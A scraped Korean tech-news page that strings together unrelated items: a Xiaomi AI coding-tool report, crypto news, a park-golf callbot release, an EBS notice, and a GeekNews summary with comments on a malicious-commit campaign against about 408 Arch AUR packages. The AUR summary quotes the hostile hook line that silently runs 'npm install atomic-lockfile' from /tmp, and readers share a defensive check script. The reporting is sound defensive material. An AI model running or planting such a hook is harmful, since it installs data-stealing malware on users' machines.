우리 국가 대표팀은 오늘 오전 11시(한국시간)부터 시작된 북중미 월드컵 조별리그 A조 1차전 체코와의 경기에서 2대 1 역전승을 거뒀다.
샤오미, 터미널 기반 AI 코딩툴 '미모 코드' 오픈소스로 공개…"클로드 코드 능가" 주장
[디지털투데이 황치규 기자]샤오미 미모(MiMo) AI팀이 터미널 기반 AI 코딩 도구 '미모 코드(MiMo Code) V0.1.0'을 오픈소스로 공개했다고 벤처비트가 11일(현지시간) 보도했다.
샤오미에 따르면 미모 코드는 핵심 에이전틱 코딩 벤치마크에서 앤트로픽 클로드 코드(Claude Code)를 앞서는 역량을 보였다. 특히 200단계 이상 다단계 작업에서 강점을 보였다.
샤오미는 오픈소스 에이전트 오픈코드(OpenCode)를 포크한 후 자체 메모리 구조와 워크플로 모드를 추가해 미모 코드를 개발했다고 설명했다.
미모 코드에서 핵심은 세션들 간 메모리 시스템이다. 기존 AI 코딩 에이전트들은 작업이 길어지면 컨텍스트 창이 차면서 초기 결정과 작업 상태를가 사라진다.
미모 코드는 별도 '체크포인트 작성' 서브 에이전트를 통해 이같은 문제를 해결한다. 메인 에이전트가 코딩에 집중하는 동안 서브 에이전트는 결정 사항과 진행 상황을 실시간으로 기록하고 컨텍스트 창이 한계에 차면 이 기록을 바탕으로 환경을 복원해 작업 흐름을 잃지 않게 해준다.
이 시각 추천뉴스 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러?
IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시
클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담
그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요'
크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다”
日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상
수백 개 AUR 패키지가 정보 탈취 악성코드 공격을 받음 (lists.archlinux.org)
AUR(Arch User Repository)에 다수의 악성 커밋 이 삽입돼, 패키지 설치 과정에서 npm install atomic-lockfile 을 실행하도록 변조된 공급망 공격 발생 읽기 전용 미러 검색 결과, 약 408개 패키지 의 PKGBUILD· .install · .hook 파일에서 동일한 악성 명령 확인 악성 커밋은 직전 커밋의 이름·이메일을 도용 해 정상 메인테이너를 사칭하는 커밋 위조 방식이며, 계정 탈취 여부와 별개 Arch 측은 악성 커밋 초기화·삭제 및 계정 차단 을 진행 중이며, 추가 악성 패키지는 하나의 스레드로 모아 신고 요청 커뮤니티 구성원들이 개별 패키지 커밋을 잇따라 신고하며 협력적 대응 진행, AUR 패키지 생태계 전반에 영향을 미치는 대규모 사안임 사건 개요 및 대응 요청 AUR에 악성 커밋이 대량 삽입된 정황이 공유되며, 악성 커밋 초기화/삭제 및 계정 차단 작업이 진행 중 추가 악성 패키지 발견 시, 동일 스레드로 모으기 위해 이 이메일에 회신 형태로 신고 해 달라는 요청 조정 담당자가 접수된 신고를 모두 확인했다고 회신했으며, 신고에 시간을 들인 참여자들에게 감사 표명 악성 코드 패턴 — atomic-lockfile 변조된 패키지들은 공통적으로 npm install atomic-lockfile 을 실행하며, 뒤에 ora , fast-glob , glob , minimist , axios , commander , execa , chalk , debug 등 추가 npm 패키지명이 함께 붙음 악성 명령이 위치한 파일 유형 *-deps.install 형태의 설치 스크립트 *.install 패키지 설치 스크립트 *.hook 파일 — 예: Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile ... 2>/dev/null; exit 0' 형태로 /tmp 에서 실행 후 오류를 숨기고 종료 일부는 install.sh 등 관련 파일에 포함 신규 생성된 악성 패키지 사례로 exodus-wallet-bin 이 보고되었으며, 첫 커밋 기준 약 4시간 전 생성된 신생 패키지로 확인 탐지 방법 및 영향 범위 읽기 전용 미러를 직접 점검하는 방식으로 탐지 git clone https://github.com/archlinux/aur.git 후, 모든 ref를 순회하며 git grep 'atomic-lockfile' 수행 결과로 atomic-lockfile 을 설치하는 약 408개 패키지 의 긴 목록 확보, 자동 정리(cleanup) 작업에 활용 가능 영향받은 것으로 거론된 패키지 예시 runescape-launcher , oracle-bin , tesseract-gui , python-starsessions , bitcoin-core-git , apple-music-desktop , exodus-wallet-bin , anythingllm-appimage , arm-linux-gnueabihf-binutils 등 cutefish-* , python2-* , python-* 계열 등 광범위한 패키지군 포함 대량 개별 신고로 메일이 많아지자, 여러 건을 한 메일로 묶어 보내는 방식이 권장되었고, IRC에서 통합 패키지 목록이 별도 공유됨 사칭/위조 방식 특정 계정( arojas ) 관련 패키지에 대해 계정 탈취인지 커밋 위조인지 에 대한 의문이 제기됨 이에 대해 악성 커밋은 직전 커밋의 이름과 이메일을 사칭(impersonate) 하는 방식이라고 확인 — 즉 커밋 메타데이터 위조 동일 사용자의 다른 패키지들은 이미 수정 완료된 경우도 보고됨 대응 현황 신고된 패키지 커밋들이 순차적으로 처리되었고, 일부 항목은 수정 완료(Done) 회신으로 확인 추가 신고가 이어지자 조정 담당자가 접수분을 일괄 확인, 진행 중인 차단·초기화 작업 과 병행 다수 참여자가 커밋 링크와 함께 개별 패키지를 신고하며 커뮤니티 주도 협력 대응 형태로 진행
함께 보면 좋은 글 β Mini Shai-Hulud가 다시 공격: npm 패키지 314개 침해 Microsoft의 오픈소스 도구가 해킹되어 AI 개발자들의 비밀번호 탈취에 악용됨 클로드 코드(Claude Code) 사칭 악성코드 급증 공급망 보안 경고: `Nx` 빌드 시스템 패키지가 데이터 탈취 악성코드로 손상됨 LiteLLM 공급망 공격에 대한 분 단위 대응 기록
Mini Shai-Hulud가 다시 공격: npm 패키지 314개 침해
Microsoft의 오픈소스 도구가 해킹되어 AI 개발자들의 비밀번호 탈취에 악용됨
클로드 코드(Claude Code) 사칭 악성코드 급증
공급망 보안 경고: `Nx` 빌드 시스템 패키지가 데이터 탈취 악성코드로 손상됨
LiteLLM 공급망 공격에 대한 분 단위 대응 기록
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요. Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요.
Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
인증 이메일 클릭후 다시 체크박스를 눌러주세요
▲ GN⁺ 5시간전 [-] Lobste.rs 의견들 이 일로 커뮤니티의 익명·미검증 기여 에 남아 있던 신뢰가 거의 끝날 것 같음 신뢰가 실시간으로 깎여 나가는 걸 보는 느낌임 솔직히 말하면 좋은 일이고, 이미 늦었음. 우리 업계는 이제 정신 차려야 함 컴퓨터에는 개인적이고 민감한 데이터 를 너무 많이 맡기고 있고, 현대 생활의 중심이 됐음. 개인용 컴퓨터가 감염되면 그건 정말 재앙적인 사건이고, 운이 좋으면 해커가 굳이 나를 콕 집어 괴롭힐 만큼 내가 흥미롭지 않기를 바라는 정도임 그런데도 우리는 어째서인지 아무 랜덤 프로그램이나 전체 권한 으로 실행하는 걸 정상화해 왔고[1], 그게 나쁜 생각으로 드러날 때마다 놀란 척함 [1] 현재 사용자 권한 기준임. 대부분의 설정에서 root는 사실상 의미가 거의 없음 KDE는 일주일 전 에 자체 빌드 파이프라인에서 AUR 를 제거했는데, 아마 이 공격의 이전 버전에 대한 대응이었던 것 같음 AUR 패키지 검토에 신뢰망 모델 을 적용하고, 최근 업데이트에는 냉각 기간을 결합하면 흥미로울 듯함 AUR 패키지를 설치하거나 업데이트할 때 이런 선택지를 주는 시스템을 상상해 봄: 최근 업데이트된 패키지라면 1주일 식을 때까지 기다리기, 직접 몇 분 들여 패키지를 검토하고 평판에 연결된 서명된 검토를 남기기, 충분한 신뢰가 쌓인 여러 다른 사람의 서명된 검토에 의존하기 냉각 기간은 모든 패키지를 함께 최신으로 유지한다는 Arch 정책과 기술적으로 맞지 않을 수도 있음. 하지만 AUR 패키지는 어차피 공식 지원 대상이 아니기도 함 몇 시간이 지났는데도 NPM 패키지 가 아직 내려가지 않았음: https://www.npmjs.com/package/atomic-lockfile 설치된 패키지가 영향을 받았는지 확인하려면 aur_pkg_list.txt 파일과 함께 이 작은 스크립트를 쓰면 됨 installed_pkgs="$(yay -Qq)"; grep refs aur_pkg_list.txt | awk -F/ '{print $4}' | tr -d ')' \ | while read -r pkg; do \ echo "$installed_pkgs" | grep "^$pkg\$"; \ done 세미콜론을 넣어뒀으니 한 줄 명령으로 만들기 쉬움 :-) 부분 문자열까지 잡는 것 같음. 예를 들어 ktea 가 kteatime 에도 매칭됨 이 버전은 동작하는 듯함 grep refs aur_pkg_list.txt | awk -F/ '{print $4}' | tr -d ')' | while read -r pkg; do echo "$installed_pkgs" | grep "^$pkg\$"; done 이 일이 꽤 전부터 진행됐을 수도 있음. 18일 전 이 이메일 을 보면 비슷한 악성 페이로드 가 쓰인 듯한데, 악성 커밋은 저장소에서 아예 제거된 것 같음 관련해서, 인기 있는 Linux 배포판들의 공급망 보안 태세 를 잘 비교한 자료가 있을까? 지금까지 찾은 글 대부분은 은근한 마케팅이거나 AI가 만든 허접한 글처럼 보였음. 그냥 직접 조사해야 할지도 모르겠음 우울한 부분은 커뮤니티 개발의 이상을 좋아하면서도, 공급망 걱정 때문에 폐쇄적인 선택지나 심지어 독점 소프트웨어 쪽을 더 자세히 보게 된다는 점임 답변달기
Lobste.rs 의견들 이 일로 커뮤니티의 익명·미검증 기여 에 남아 있던 신뢰가 거의 끝날 것 같음 신뢰가 실시간으로 깎여 나가는 걸 보는 느낌임 솔직히 말하면 좋은 일이고, 이미 늦었음. 우리 업계는 이제 정신 차려야 함 컴퓨터에는 개인적이고 민감한 데이터 를 너무 많이 맡기고 있고, 현대 생활의 중심이 됐음. 개인용 컴퓨터가 감염되면 그건 정말 재앙적인 사건이고, 운이 좋으면 해커가 굳이 나를 콕 집어 괴롭힐 만큼 내가 흥미롭지 않기를 바라는 정도임 그런데도 우리는 어째서인지 아무 랜덤 프로그램이나 전체 권한 으로 실행하는 걸 정상화해 왔고[1], 그게 나쁜 생각으로 드러날 때마다 놀란 척함 [1] 현재 사용자 권한 기준임. 대부분의 설정에서 root는 사실상 의미가 거의 없음 KDE는 일주일 전 에 자체 빌드 파이프라인에서 AUR 를 제거했는데, 아마 이 공격의 이전 버전에 대한 대응이었던 것 같음 AUR 패키지 검토에 신뢰망 모델 을 적용하고, 최근 업데이트에는 냉각 기간을 결합하면 흥미로울 듯함 AUR 패키지를 설치하거나 업데이트할 때 이런 선택지를 주는 시스템을 상상해 봄: 최근 업데이트된 패키지라면 1주일 식을 때까지 기다리기, 직접 몇 분 들여 패키지를 검토하고 평판에 연결된 서명된 검토를 남기기, 충분한 신뢰가 쌓인 여러 다른 사람의 서명된 검토에 의존하기 냉각 기간은 모든 패키지를 함께 최신으로 유지한다는 Arch 정책과 기술적으로 맞지 않을 수도 있음. 하지만 AUR 패키지는 어차피 공식 지원 대상이 아니기도 함 몇 시간이 지났는데도 NPM 패키지 가 아직 내려가지 않았음: https://www.npmjs.com/package/atomic-lockfile 설치된 패키지가 영향을 받았는지 확인하려면 aur_pkg_list.txt 파일과 함께 이 작은 스크립트를 쓰면 됨 installed_pkgs="$(yay -Qq)"; grep refs aur_pkg_list.txt | awk -F/ '{print $4}' | tr -d ')' \ | while read -r pkg; do \ echo "$installed_pkgs" | grep "^$pkg\$"; \ done 세미콜론을 넣어뒀으니 한 줄 명령으로 만들기 쉬움 :-) 부분 문자열까지 잡는 것 같음. 예를 들어 ktea 가 kteatime 에도 매칭됨 이 버전은 동작하는 듯함 grep refs aur_pkg_list.txt | awk -F/ '{print $4}' | tr -d ')' | while read -r pkg; do echo "$installed_pkgs" | grep "^$pkg\$"; done 이 일이 꽤 전부터 진행됐을 수도 있음. 18일 전 이 이메일 을 보면 비슷한 악성 페이로드 가 쓰인 듯한데, 악성 커밋은 저장소에서 아예 제거된 것 같음 관련해서, 인기 있는 Linux 배포판들의 공급망 보안 태세 를 잘 비교한 자료가 있을까? 지금까지 찾은 글 대부분은 은근한 마케팅이거나 AI가 만든 허접한 글처럼 보였음. 그냥 직접 조사해야 할지도 모르겠음 우울한 부분은 커뮤니티 개발의 이상을 좋아하면서도, 공급망 걱정 때문에 폐쇄적인 선택지나 심지어 독점 소프트웨어 쪽을 더 자세히 보게 된다는 점임
이 일로 커뮤니티의 익명·미검증 기여 에 남아 있던 신뢰가 거의 끝날 것 같음 신뢰가 실시간으로 깎여 나가는 걸 보는 느낌임
몇 시간이 지났는데도 NPM 패키지 가 아직 내려가지 않았음: https://www.npmjs.com/package/atomic-lockfile
설치된 패키지가 영향을 받았는지 확인하려면 aur_pkg_list.txt 파일과 함께 이 작은 스크립트를 쓰면 됨
세미콜론을 넣어뒀으니 한 줄 명령으로 만들기 쉬움 :-)
부분 문자열까지 잡는 것 같음. 예를 들어 ktea 가 kteatime 에도 매칭됨 이 버전은 동작하는 듯함
이 일이 꽤 전부터 진행됐을 수도 있음. 18일 전 이 이메일 을 보면 비슷한 악성 페이로드 가 쓰인 듯한데, 악성 커밋은 저장소에서 아예 제거된 것 같음
관련해서, 인기 있는 Linux 배포판들의 공급망 보안 태세 를 잘 비교한 자료가 있을까? 지금까지 찾은 글 대부분은 은근한 마케팅이거나 AI가 만든 허접한 글처럼 보였음. 그냥 직접 조사해야 할지도 모르겠음 우울한 부분은 커뮤니티 개발의 이상을 좋아하면서도, 공급망 걱정 때문에 폐쇄적인 선택지나 심지어 독점 소프트웨어 쪽을 더 자세히 보게 된다는 점임
발행일: 2026-06-12 13:39 (금)
한국어 KR 영어 EN 일본어 JP 중국어 CH
픽셀소프트웨어(대표 강성무) ‘보이스파크’가 최근 열린 '제1회 백마강 PGK 파크골프킹 대회'에서 인공지능(AI) 콜봇 시스템을 서비스 했다고 12일 밝혔다.
보이스파크는 전국 파크골프장의 예약, 회원관리, 결제 시스템을 총망라한 통합 플랫폼이다. 기본 구장 운영을 넘어 대회 접수 및 경기 진행 지원 등 파크골프장 환경에서 파생되는 다양한 특화 서비스를 아우르는 IT 솔루션이다.
이번 대회에서 가장 큰 호응을 얻은 것은 AI 콜봇이다. 픽셀소프트웨어는 파크골프 주 이용층인 시니어 세대의 다양한 음성적 특성(전국 지역별 사투리, 고음·저음의 음색 변화, 말투, 발화 속도 등)을 사전에 면밀히 분석했다. 이런 분석 데이터를 기반으로 시니어 맞춤형 응대에 특화된 딥러닝 기반의 AI 콜봇 기술을 대회 운영 시스템에 도입했다.
이를 통해 유선 전화 사용에 친숙한 시니어 참가자들이 기존의 접수 방식과 더불어, AI 콜봇과 자연스럽게 대화하며 앱 다운로드부터 예약접수에 이르는 전 과정을 손쉽게 처리할 수 있도록 지원한다.
보이스파크는 이번 대회를 통해 특정 기능에 국한되지 않고, 파크골프장 전반의 인프라를 기반으로 확장되는 다목적 특화 플랫폼으로서의 가치를 증명했다. 기존 파크골프장의 경우 시설관리공단 시스템이나 자체 서버 구축을 통해 운영되는 경우가 많아 전문적인 대회 운영 지원이 불가하고, 동시간대 예약이 폭주할 경우 빈번하게 시스템이 먹통이 되는 한계가 있었다.
반면, 보이스파크는 구장 및 대회 운영에 최적화된 시스템으로 이러한 고질적인 문제를 해결했다. 단일 통합 ID를 기반으로 PC, 모바일, 키오스크 등 다채로운 채널을 연동하여 원스톱 예약 및 결제가 가능한 환경을 구축했다. 특히, 지난 6월 1일 대회 접수 시작 첫날 오전 동시간대에 수천 명 접수자가 몰렸지만, 서버 장애나 지연 없이 대규모 트래픽을 소화했다.
아찔했던 보안 사고 경험담 나누고 맥북 네오·에어팟 득템 행운 얻자 2026.04.16 결제는 쉽게, 해지는 복잡하게…'다크패턴' 논란 여전 2026.04.21 가짜 늑구 사진에 경찰도 속는 AI 시대...허위정보 대응책은 2026.04.28 국경 없는 보안 전쟁에 빅테크도 '긴장'...대비책은 2026.05.04
참가 신청부터 접수∙예약 및 스코어 집계까지 모든 과정을 하나의 플랫폼에서 투명하고 원활하게 처리함으로써 대회 주최 측과 참가자 모두의 편의성을 극대화했다.
강성무 픽셀소프트웨어 대표는 "전국 지자체 구장 및 관련 협회에 혁신적인 시스템을 제공하여 파크골프 산업의 디지털 대전환을 선도하겠다"고 밝혔다.
XRP 상위 보유자 문턱 낮아졌다…2155개 보유하면 진입
XRP 상위 10% 보유 지갑 기준이 2155.59 XRP로 낮아졌다. 최근 반등에도 10달러 전망은 여전히 비현실적 시나리오로 제시됐다.
[디지털투데이 이윤서 기자] XRP 보유량 기준 상위 10% 지갑에 들기 위한 기준이 2155.59 XRP까지 낮아졌다.
10일(이하 현지시간) 블록체인 매체 더 크립토 베이직에 따르면 최근 XRP 가격은 횡보세를 보이고 있지만, 네트워크 내 상위 보유자 구간에 진입하는 데 필요한 물량은 계속 줄고 있다.
XRP 원장에는 현재 791만개 계정이 있다. 이 가운데 2155.59 XRP 이상을 보유한 지갑은 79만900개에 그친다. XRP 가격 1.11달러 기준으로 보면 상위 10% 진입에 필요한 금액은 약 2392달러다. 잭 렉터와 아담 등 XRP 커뮤니티 인사들도 이 기준 하락에 주목했다.
상위 구간으로 갈수록 기준은 빠르게 높아진다. 상위 5%에 들려면 약 7507 XRP, 상위 1%는 4만5002 XRP가 필요하다. 상위 0.1% 진입선은 27만9000 XRP를 넘는다. 각 기준을 충족한 지갑 수는 상위 5% 39만5450개, 상위 1% 7만9090개, 상위 0.1% 7909개다.
최상위권 문턱은 더 높다. 383만 XRP 이상을 보유한 지갑만 전체 상위 0.01%에 해당한다. 이 구간에 들어간 지갑은 단 791개로, 전체 계정 수 대비 소수 지갑에 보유량이 집중된 구조가 다시 확인된 셈이다.
이 기준은 올해 2월과 비교해 전반적으로 낮아졌다. 당시 상위 10% 진입선은 약 2231 XRP였지만, 현재는 2155 XRP 수준으로 3.4% 내려왔다. 상위 5% 기준도 7745 XRP에서 7507 XRP로, 상위 1% 기준도 4만6426 XRP에서 4만5002 XRP로 낮아졌다.
이러한 변화의 배경에는 최근 암호화폐 약세가 자리하고 있다. XRP는 지난 6일 1.05달러까지 밀린 뒤 9일 1.18달러를 웃돌며 반등했고, 이후 1.11달러 안팎으로 되돌림이 나타났다. 투자자들 사이에서는 최근 약세를 매수 기회로 보고 리치리스트 내 순위를 높이려는 움직임도 거론된다.
일부 시장 분석가들은 XRP가 10달러를 향할 수 있다고 봤다. 이 전망이 현실화될 경우 현재 상위 10% 기준인 2155 XRP를 보유한 투자자의 자산 가치는 2만1550달러로 늘어나게 된다. 다만 이런 전망은 어디까지나 추정치로, 실제 상승이 보장된 것은 아니다.
다만 이러한 기준값 변화만으로 XRP의 향후 가격 방향을 단정하기는 어렵다. 상위 보유자 구간의 문턱이 낮아졌다는 점은 시장 관심을 끌 수 있지만, 실제 가격 흐름은 전체 암호화폐 시장 분위기와 수요 회복, 거래소 유입·유출 흐름 등에 따라 달라질 가능성이 크다.
△디지털투데이 텔레그램 뉴스채널 구독하기(클릭)
이 시각 추천뉴스 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러?
IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시
클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담
그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요'
크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다”
日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상
Facebook이 해외에서 Alberta 분리주의를 홍보하는 사람들에게 돈을 지급하고 있음 (cbc.ca)
함께 보면 좋은 글 β 왜 나는 ATProto에 베팅하는가 (그리고 당신도 그래야 하는 이유) X의 새로운 ‘국가 출신 표시’ 기능, 다수의 ‘미국 계정’이 해외 운영으로 드러남 Meta, 2024년 매출의 10%가 사기 광고와 금지 상품 거래에서 발생 미국인을 겨냥한 비밀 영향력 네트워크를 X가 우연히 대규모로 노출 최신 Instagram “익스플로잇”은 내가 본 것 중 가장 어이없다
왜 나는 ATProto에 베팅하는가 (그리고 당신도 그래야 하는 이유)
X의 새로운 ‘국가 출신 표시’ 기능, 다수의 ‘미국 계정’이 해외 운영으로 드러남
Meta, 2024년 매출의 10%가 사기 광고와 금지 상품 거래에서 발생
미국인을 겨냥한 비밀 영향력 네트워크를 X가 우연히 대규모로 노출
최신 Instagram “익스플로잇”은 내가 본 것 중 가장 어이없다
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요. Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요.
Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
인증 이메일 클릭후 다시 체크박스를 눌러주세요
이런 현상은 콧수염을 비틀며 “불화를 퍼뜨리는” 외국 독재자보다, 우리가 보는 여러 추세를 훨씬 잘 설명해 준다고 오래전부터 생각해 왔음 물론 그런 세력과 트롤 공장 은 존재하지만, 보통은 자기들에게 즉각 이익이 되는 서사를 밀어붙임 관련 없어 보이는 내용을 퍼뜨릴 때도 실제 메시지를 전달하기 위한 소셜 미디어 영향력 을 쌓으려는 목적에 가깝다고 봄 러시아 트롤이 외국의 분열적 국내 이슈 양쪽을 모두 밀어주는 것도 “혼란 확산” 자체가 아니라, “러시아 지도자 제재는 무의미하고 역효과다”, “Assad는 가스를 쓰지 않았다”, “우크라이나 지도부는 실제 나치에게 잡혀 있다” 같은 본래 메시지를 밀어 넣기 위한 발판으로 보임
링크를 눌렀을 때 반전이 국가 지원 트롤 공장 이되, 우리가 보통 떠올리는 그 나라가 아닐 수도 있겠다고 생각했음 하지만 기사에는 “항상 국가 지원 형태의 전통적 외국 개입은 아닐 수 있다. 때로는 훨씬 더 진부하고, 어떤 면에서는 더 우울하다… 수천 마일 떨어진 사람들이 캐나다식 분노가 수익성 있는 틈새라는 걸 알아낸 것이다. 실제로 캐나다 정치에는 전혀 관심이 없을 수도 있다”라고 되어 있음 저소득 국가 사람들이 자신이 믿는 말도 아니고, 관심이나 지식조차 없는 주제로 분노를 퍼뜨려 약간의 돈을 벌고 플랫폼 소유자는 큰돈을 버는 구조를 표현의 자유 절대주의자 들이 어떻게 옹호할지 궁금함 돈 받고 하는 말을 정말 표현의 자유라고 부를 수 있는지도 의문임
미국이 EU 분열을 Orban, 독일 AfD, Farage 등을 통해 지원하는 만큼, EU도 캘리포니아 분리주의 에 돈을 대줬으면 좋겠음
Nieta Aqila가 올린 Meta 수익화 대시보드 스크린샷 하나에 따르면, Alberta Facebook 그룹에서 활동하던 한 달 동안 약 14달러를 벌었음 CBC가 몇 달러 벌려고 이러는 여성을 이 폭로의 주인공으로 세우고, 이를 가능하게 만든 Facebook 임원들 은 익명으로 남겨두는 게 참 용감함
캐나다에는 이를 막는 법이 없을 수 있지만, 일부 국가는 이런 행위를 국가에 해로운 전복 활동 으로 분류할 수 있음 보통 징역, 사업 수행권 박탈, 공직 취임권 박탈로 처벌됨
이걸 밝혀낸 기자는 잘했음 요즘 많은 “기자”들이 하는 것처럼 보도자료를 복사해 붙이는 것과는 다름 그런 현상의 일부 원인은 Facebook 같은 회사들 때문에 언론 조직이 텅 비게 된 것 이기도 함
Facebook 선전이 그렇게 효과적이고 싸다면 서방 민주주의 국가들도 Belarus나 Kazakhstan에서 민주주의 가치 를 홍보해야 함 캐나다도 이 채널을 써서 미국의 관세 철회를 밀어야 함 중요한 사안에서 Facebook이 효율적이라는 생각은 들지 않음 내가 틀렸다면 캐나다 정부는 국내외에서 민주주의 가치를 홍보하는 일을 매우 못하고 있는 것임
나는 이곳의 농촌 지역, 이런 게 더 먹힐 것 같은 곳에 살고 있음 그런데 아무도 이 얘기를 하지 않고, 대화에 오르지도 않음 득표율이 15%쯤 나올 수는 있겠지만, 그마저도 관심 있는 사람들만 투표하러 나올 것이기 때문임
이런 유인은 전 세계 정치 문제와 전반적인 정신 건강 악화 의 상당 부분을 차지한다고 봄 개인적으로도 YouTube와 Facebook이 내가 원하지 않는 짧은 영상을 그만 보여주게 만드는 게 어려웠음 “관심 없음”이나 “덜 보기” 버튼을 눌러도 별 효과가 없음 꾸준히 효과가 있는 방법은 피드에서 더 이상 보고 싶지 않은 것을 보는 즉시 앱을 닫고 한동안 돌아오지 않는 것임 추천 시스템에 보낼 수 있는 가장 강한 신호가 그 방법임
발행일: 2026-06-12 13:39 (금)
한국어 KR 영어 EN 일본어 JP 중국어 CH
EBS가 오는 16일까지 이사 후보자 공모를 진행한다.
개정 방송법에 따른 것으로 EBS 임직원 과반수가 추천하는 이사 1인과 EBS 시청자위원회가 추천하는 이사 2인 등 총 3인의 후보자를 선정하게 된다.
선정된 후보자는 방송미디어통신위원회의 임명을 거쳐 EBS 이사로 최종 확정되고, 임기는 3년이다.
임직원 추천 이사 후보자의 평가 기준은 방송의 공적 책임과 공익성을 제고할 수 있는 경험과 역량, 교육방송에 대한 이해와 경영 감독에 대한 식견, 방송 전문성 등이다.
시청자위원회 추천 이사 후보자의 평가 기준은 방송의 공적 책임과 공익성을 제고할 수 있는 경험과 역량, 교육방송에 대한 이해와 경영 감독에 대한 식견, 그리고 각 지역과 분야 및 각 계층의 시청자를 대변할 수 있는 시각과 경험 등이다.
초등학생이 처음 배우는 AI, EBS 매주 목요일 방송 2026.06.03 EBS, 국내 방송사 최초 'AI콘텐츠 자문위원회' 출범 2026.06.02 EBS, 평생교육이용권·디지털 평생교육이용권 사용기관 선정 2026.05.11 방미통위, 13일 공영방송 이사 추천단체 의견 수렴 2026.05.08
이사 후보자의 주요 결격 사유는 ▲정당법상 당원이거나 당원 신분을 상실한 날부터 3년이 경과되지 않은 사람 ▲선출직 공직에서 퇴직한 날부터 3년이 경과되지 않은 사람 ▲대통령선거에서 후보자 당선을 위해 자문·고문 역할을 한 날부터 3년이 경과되지 않은 사람 ▲대통령직인수위원회 위원 신분을 상실한 날부터 3년이 경과되지 않은 사람 ▲EBS 및 EBS 자회사 임직원 등이다.
아울러 시청자위원회 추천 몫 이사 공모의 경우, 이사 추천 심사를 담당하는 EBS 시청자위원회 위원은 지원할 수 없다.
발행일: 2026-06-12 13:39 (금)
한국어 KR 영어 EN 일본어 JP 중국어 CH
XRP 현물 ETF, 약세장서도 14억달러 유입…비트코인·이더리움과 대비
XRP ETF가 가격 하락에도 순유입을 이어가며 비트코인·이더리움 ETF보다 안정적인 흐름을 보였다. 블룸버그 애널리스트는 낮은 포트폴리오 비중과 변동성 수용력이 배경이라고 짚었다.
[디지털투데이 이윤서 기자] XRP 현물 상장지수펀드(ETF)가 가격 하락에도 자금 유입을 이어가며 비트코인과 이더리움 현물 ETF보다 상대적으로 견조한 흐름을 보이고 있다.
11일(현지시간) 블록체인 매체 더 크립토 베이직에 따르면 블룸버그 ETF 애널리스트 제임스 세이파트는 최근 인터뷰에서 XRP와 솔라나 현물 ETF가 약세장 속에서도 예상보다 강한 자금 방어력을 보였다고 평가했다.
